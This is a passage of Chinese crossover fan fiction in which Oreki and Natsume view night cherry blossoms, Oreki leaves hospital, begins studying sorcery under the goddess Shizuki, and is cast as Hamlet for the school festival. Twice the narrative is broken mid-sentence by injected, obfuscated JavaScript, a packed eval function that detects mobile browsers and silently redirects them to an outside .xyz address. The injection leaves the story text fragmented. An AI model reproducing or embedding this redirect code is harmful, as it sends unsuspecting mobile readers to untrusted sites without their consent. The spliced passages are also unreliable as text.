折木的节能模式上线，他已经放弃纠结，与其想东想西浪费能量，还不如好好欣赏这来之不易的夜樱。 不过就算在七月，这里晚上还是会冷，视线只要稍微离开灯光下的樱花，周遭就是浓厚得令人呼吸困难的黑暗，而抬头，就能从树林的吱呀间，看见漆黑的天空里有无数闪烁的星星。 坐在他身边的夏目正在从口袋中掏着什么，折木总觉得对方不管做什么，总是带着一股说不出的静谧之美，即便相对沉默无言，心也能渐渐变得安逸。 真是不可思议。 “折木，给。” 夏目打断折木的思绪，递给他一杯黑豆可可。 “这不应该是冬天喝的吗……而且黑豆和可可搭配起来的风格太怪诞了。” 折木摸着还在热乎乎的金属罐身，果然还是该吐槽一句。 “我特意拿的，感觉你还在生病，大半夜喝冷的话会伤胃。”夏目说着，又拿出另一罐饮料，“还是你想喝这个？” 上面写的是北海道玉米茶。 算了，他还是喝他的怪诞风味的黑豆可可吧。 折木只是尝了一口，表情就紧蹙起来，忍不住吐舌头。 好怪的味道，某些日本商家还是别太搞创新了。 一直在注意他的夏目又从包里翻出一袋东西给他：“给。” 是三明治。 “你从哪拿出来的，哆啦A梦吗你？” 折木接过那个三明治，塑料的包装还贴着附近便利店的便签：猪排荠菜口味，已加热，感谢您对新产品的支持。 折木：“……” 他明白了，夏目对于吃食的选择上，有着相当明确的冒险精神。 “我带了包，想着来见你的话至少要带点吃的东西过来。”夏目将背上的背包放在膝盖上。 这包颜色太黑了，折木当时并没有注意到。 “喂，夏目，怎么只给这小子，快把你买的豆沙包给我！”夹在两人之间的猫咪老师不开心了，伸出小爪向夏目讨要。 夏目刚拿出一袋热气腾腾的豆沙包就被猫咪老师一口叼过去。 “喂！你这家伙，那可是一袋的！” “就当做来回的路费了。” “我可没说过，而且下个月的甜点我可还没答应你！” “记仇又小气的夏目。” “你说什么！” 折木看着夏目气得站起来去追猫咪老师，有些忍俊不已，他突然觉得就算没了夜樱，光看看这些鲜活的画面也值得了。 “算了，除了这些，你还有其他吃的吗？” “没了。”夏目颇有些无奈，本来就是为了给折木买的，所以他买的不算多。 “喏，那就一人一半吧。” 折木特别贴心地分了一半给他，见对方没有露出古怪的神色，才开始吃起自己那部分。 夜风将花瓣吹了起来，折木冷得打了个哆嗦。 “就这样出来的我就像是在自讨苦吃，”面对逼人的寒气，折木情不自禁地嘟囔起来。 “我忘了你只穿着病号服……” “出都出来了，再冷还能冷到哪去，不过还是要谢谢你。” “谢我？” “嗯，就算提前知道樱花会在今夜凋零，我也不会拖着病腿去看，就算我的腿没有受伤也是一样的，”折木喉咙深处发出轻轻的笑声，“毕竟我不像夏目你那么有行动力，所以总会错过一些……我认为没有必要去做的事。” 折木用黑豆可可暖手，呼出的气在冰冷的空气中变成白雾。 他是想说自己跟不上夏目的节奏吗？ 不对，他只是想阐述自己面对夏目、面对另外一个世界的心里话。 折木还记得在温泉旅馆对猫咪老师未说完的话语，那时候他其实想说的是，看着夏目不管是对谁都总是竭尽全力的样子，他总是静不下心来。 三笠山的事也好，这次的神明事件也罢，凡事与妖怪扯上关系，夏目面对妖怪总能一个人扛下所有事，而对折木这种奉行节能主义的人来说简直糟糕透顶。 尽管每次内心希望它赶紧归于尘土，可是只要夏目在自己身边，内心就仍旧继续躁动不安，只要看得见，就无法坐视不管。 无论怀着怎样的想法，他心中所浮现的就是这样的情感。 就在折木还在陷入这样的沉思时，夏目开口了：“没有的事，我并不是折木想的那样，都能做得事事俱全。” “虽然中间发生了很多没那么美满的事，但如果不是折木你们邀请我，我最后也不会欣赏到这样的景色。” 夏目的声音像水波摇动，轻轻触摸到了折木的鼓膜。 “况且这一切并不是只有我参与，折木你也是其中一员，就好比我知道明天会下雨，但并不知道你会不会带伞，会不会邀请我和你一起走在同一庇荫之下，没有你的存在，由这些经历组成的故事就不是完整的。” 这样的话简直就像世界翻转一样冲击。 折木下意识将手中的饮料一饮而尽，古怪的味道充斥舌尖抵达喉间，然后—— “咳咳、咳咳咳、咳咳——” 他被呛到了。 夏目连忙帮他拍背顺气，过了一会儿，折木才缓过神来。 那种话简直太刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15337349|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激了，犯规啊犯规！ “现在是不是很晚了……”折木装作看了看天色，又低头看了看手腕上的表，“你明天还要上学，要不先到这吧？” “是啊，该回去了。”夏目顺着他的目光看着天色，点了点头。 夏目把垃圾收拾干净后，催促着还在享用豆沙包的猫咪老师行动起来。 “真是的，现在才想起本大爷是不是有些晚了？” 猫咪老师被迫加快进食，因为撑到实在吃不下去，才勉强变回原形，准备和夏目一起送折木回病房。 折木在斑的背上刚坐稳，就听到夏目的声音从身后传来。 “起风了。” 犹如被无形的浪潮掀起樱色的夜雨，折木仿佛看到这片花林从开始到结束近百年宛如须臾，周遭的一切声音在他的耳边显得朦胧而遥远，唯独两人的呼吸和心跳，被圈在这樱色的一隅里。 好美。 如果有手机的话，真该拍下来的。 折木想。 几分钟后，折木回到了病房，坐在病床后，他盯着窗外向他招手的夏目，炫目的月光透过对方的身影洒落进来，即使背着那粗犷的黑色背包，也让夏目的轮廓变得格外的虚幻。 “下次就是上学见了？” “嗯。” 折木应了一声，夏目一眨眼的功夫就在他的眼前消失不见。 他垂头看了看脚，心想，快点好起来吧。 …… 三天后，出院的手续办理好了。 “绷带已经拆了，但这几天还是格外注意下，尤其不能做剧烈的运动，饮食方面也得注意。” 折木听着医生最后的嘱咐，心不在焉地点头。 总算回到了家里，折木先是回到自己的房间，没有看到纸月的身影。 “纸月。” 他走到那张古画面前，画上那位被各种花簇拥的女子正闭着眼，安详又绝美的睡颜让折木有些不安。 “纸月？” 折木不死心般又一次呼唤，而这次脑海中终于响起了那道熟悉的声音。 “干嘛吵我睡觉？” 纸月的声音带着倦意，还夹杂着不耐烦。 “抱歉，那我闭嘴。” “算了，醒都醒了。” 古画里的美人仿佛活过来般，从里面探出了身子，当她整个人从画里飘出来时，折木有些微愣，他注意到纸月身边缠着微量的黑色怨念，虽然只有一点，但不好的预感在他脑内出现。 “是因为你附身我射的那一箭吗?” 折木的话正中要害，纸月微微蹙眉，但很快别开脸：“没什么，当时的攻击消耗太多神力，为了维持本体，只能先切断和你的联系，不过这点附着的怨气我自己就能净化干净。” “真的？”折木不太相信。 “我可是神哦，小看我的话可是会遭到天谴的。” 遭到质疑，纸月气呼呼地开口。 “别说我了，你怎么回事，这么晚才回来是受了什么伤？” 纸月飘到折木身边，从上到下扫视着他的身体，很快就在左脚那看出不对。 “你使用了咒术？” 35.第 35 章 折木觉得自己承认与否都会惹纸月生气，他别过头且偷偷地缩起左脚。 “抱歉……我只是想防范于未然。” 自己一出门就可能会卷进妖怪事件的概率已经无可避免，如果哪天他在孤立无援的情况下面对妖怪，至少还有解决的办法。 但没有告诉纸月确实是自己的不对，所以折木承认错误的态度很是积极。 纸月是有点生气，可她生气的点并不是折木偷偷学习不该学的知识，而是没有意识到随便使用咒术这一行为的危险性。 “就算是初学者也会误入歧途，更别说是行舟年轻的时候，也是在长辈教导下才能进行学习的。” 纸月飘到行舟曾经的书柜前，用目光随意扫了一眼，就发现少了哪本书。 还挺会挑的，居然还是本禁书。 纸月转过身，见折木偷偷观察她的表情，目光相触后，又尴尬地低下头。 她叹气，算了，太过苛责他反而变成自己不对了。 “要学的话，至少让我来教导你，以后别偷偷摸摸学了。” “诶，可以吗？”折木很惊讶，他以为纸月不会让他再碰这些禁物。 “保护自己又没什么错，再说你是行舟的继承人，我没有权利去阻止你去做想做的事，只是我得提醒你一点。” 纸月严肃道，“深入除妖师的世界本身就是禁忌，不止是妖怪，就连其他除妖师也会盯上你，你可得想清楚。” 折木听着她的话，随即就想起了自己遇到的那两个除妖师。 名取周一，以及的场静司。 前者是夏目的熟人，后面那位……说不定早就盯上自己了。 折木对的场静司的印象不好不坏，或许只是初次见面，他只觉得对方是个难以捉摸的人。 可就是这样的人才是最难应付，连夏目都再三防备的态度，那他自己多少也要做好准备。 折木想得出神，直到纸月叫他才反应过来。 “喏，如果要从现在开始的话，这柜子的书你一周就必须看完。” 纸月随手指着书柜，大言不惭地开口。 “完全不可能。”折木否决。 “既然要学就必须做到知行合一，我会对你随时抽查的。” “你是什么魔鬼老师吗？” “放心好了，让我做你的老师，我一定会把你培养得像行舟一样完美。” 纸月已经开始畅想未来了。 “这才是你的目的吧。”折木虚着眼说道。 见对方一旦决定了的事绝不妥协，折木忽然觉得他好像给自己挖了一个不得了的大坑。 …… 恢复上学后，自己不在的这三天让班上的同学感到了好奇。 其中北本见他来，就兴致冲冲地问东问西，折木再度使出他的敷衍大法，成功躲过了这些好奇宝宝投来的问题。 当然，除了田沼这个知道内幕的。 “你的表情看上去像是经历了很多冒险。” 和提问不同，田沼投来的则是一句无伤大雅的调侃。 “如果可以，我一点也不想和冒险这个词扯上关系。”折木兴趣寥寥道。 两人还是在同样的位置看着窗外的景色聊着天，区别在于折木并没有把焦距放在外面，他怕又一次看到不该看到的东西。 “倒也是，夏目以前也说过类似的话，”田沼能理解，点了点头。 “夏目说过？”折木呼吸停了一瞬，细微的表情变动在面上一闪而过。 “不过他的表情并不像你现在这样觉得是烦恼，更像是在说反话。” 田沼转过身反靠着窗台，说道，“一开始我很担心他，因为他只有被逼到不得不向别人寻求帮助才会吐露心声，后来他愿意和我敞开心扉后，我才觉得他似乎真正的融入了这里，也接纳了这里。” “这样啊。”折木在心里重复着田沼的话，脑袋中莫名回想起和夏目一起赏夜樱的画面。 能这样毫无芥蒂地笑着接受妖怪的人，究竟有着怎样的经历？ 折木想过平静的生活，但对他来说，妖怪这种沉重却无形的生物，大概只有带着堆积重合的时间与记忆的分量，才能体会到苦涩又甘甜的滋味。 他对自己到最后会不会像夏目一样，也自然而然地接受这一切……这一点令他有些好奇。 折木不由地耸了下肩，开口道：“或许我以后也会变成那样吧。” 只要他还能看得见那个世界。 …… 放学后，班长带头延长了时间主持了班会。 折木杵着头打哈欠，已经收好书包的他因为不能离开，又拿出书来看。 不过不是他经常看的文库，而是咒术相关的书籍。 被纸月下了死命令的他，这几天不得不用备战考试的态度去研读这些晦涩难懂的文字，他也不担心吸引别人注意，反正在其他人看来，顶多就是古文书籍。 “这次学园祭大家有没有什么好的想法？” 问题一提出，教室里就变得热闹起来。 学园祭……这么快就来了？ 折木的思绪稍微顿了顿，才想起来自己是中途转学过来的，和班上其他人的时间感差距甚远。 “演话剧吧！我们可以用抽签决定，这样分到的角色比较公平！” “不错诶！” “同意同意！” 行动力比较快的班长已经开始定制计划了。 等折木看到三分之一时，他才注意到有人走到他桌前。 “折木，到你抽签咯。” “啊，好的。” 折木不好意思地合上书，露出尴尬又不失礼貌的笑。 还好对方也没有因为折木不太合群的性格而表达不满，自己虽然平时表现得无所谓，但在这种场合还是稍微会自我反省一下。 合上书后，折木将抽到的纸打开。 “哈姆雷特。” 折木：“……” 他略带惊恐地抬头看黑板，看到全班表决的话剧内容。 这是对他不认真参与集体活动的惩罚吗？ “好了，哈姆雷特谁抽到了？” 班长将空了的抽签盒放在讲台，随手拿起粉笔说道。 没有回应。 隔了几秒。 “我……” 折木半捂着脸，半举着手，发出的声音几不可闻。 全班有一瞬鸦雀无声，下一秒全都沸腾了起来。 “诶！真的假的！折木吗？” “哇，有好戏看了！” “原本没什么干劲的，现在有动力了！” 折木：“……” 前排的北本和旁边的田沼都发出隐忍的笑声。 “折木，你运气真绝了。” 折木一脸不爽：“那你们两个抽到什么。” 田沼：“我负责照明。” 可恶，好羡慕。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15347135|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 折木又的视线转到北本身上，对方却笑不出来了。 “雷欧提斯。”北本的声音瞬间蔫了。 其实也好不到哪去。 午休的时候，在提起各班要在学园祭要准备的活动时，只有折木和北本一脸衰样。 夏目听到折木要饰演的是哈姆雷特，有些惊讶，而后露出微笑：“突然有点期待学园祭了。” “我一点也不期待，”折木很严肃，“台词太多了。” “只是因为这个吗？” “当然不，各种原因都有。” 最重要的是当着几千名师生面前用夸张的表情念着“生存，还是毁灭，这是个问题”这种台词，光是想想画面，折木就觉得自己的能量和羞耻心迅速归零。 听到夏目的班级是义卖展览，而夏目本人只用负责在贩卖区引导顾客时，折木露出憧憬的神色。 他一脸真情实感：“如果能和你换就好了。” 夏目仍然温柔微笑：“还是算了吧，我更想看你表演。” 折木：“……”太坏了。 回到家，折木将自己扔在床上，包也随便扔在一旁。 咒术书和一沓台词本一同滑了出来，折木光看着就觉得烦躁。 现状怎么看都算不上乐观，要怎么样才能应付过去，这是最大的问题，折木对没有必要的事绝不会勉强自己，说到底只是一个学园祭，其实没必要投入太大的精力。 但如果是自己的懈怠导致全班所做的努力功亏一篑的话，那他也做不到。 被选中了果然还是该好好对待才行。 这么想着的折木露出了极其复杂的心情。 “欢迎回来，怎么露出这么臭的表情。” 纸月一边懒洋洋地吹着风，一边观察着他。 “没什么。” “哦对了，你不在的期间，有客人上门哦。” “客人？” 听到纸月语气透着的阴险笑意，折木心里一凉，稍稍转过头，才发现窗台边，除了坐着的纸月外，还有三个穿着和服的小妖怪。 它们大概只有手臂那么高，但长得甚是可爱，外表很像豚鼠，所以看上去并不难以接近。 “折木大人，前来叨扰，真是万分抱歉。” 三个小妖怪跪坐着齐齐朝他低头鞠躬。 不明所以的折木也跟着规规矩矩地跪坐，完全不明白自己什么时候和这几只妖怪有过交集，他只能小心翼翼地开口：“请问找我有什么事吗？” “折木大人大概不记得我们了，我们是您在雨夜那天救过的妖怪，此次前来是为了报恩。”中间的小妖怪如此说道。 这么一说，折木想起来了。 自己就是为了救小妖怪，才被意外神隐的。 不过那时他成了幽灵从天上掉下来后，他就以为那个装着妖怪的水桶被自己弄丢了，心里还有些愧疚。 看到它们重新出现在面前，折木松了口气：“报恩就不必了，只要你们还活着就已经是最好的报答。” “折木大人，我们怎能如此草率地对待自己的救命恩人呢，您救了我们的命，我们必当赴汤蹈火，在所不辞。” 折木努力拒绝：“我不需要你们为我做什么。” “我们已经决定认您为我们的老大，所以请不用客气地使唤我们吧。” 在纸月的憋笑声中，折木的表情终于破裂：“真的不用了！” 求你们哪来的回哪去！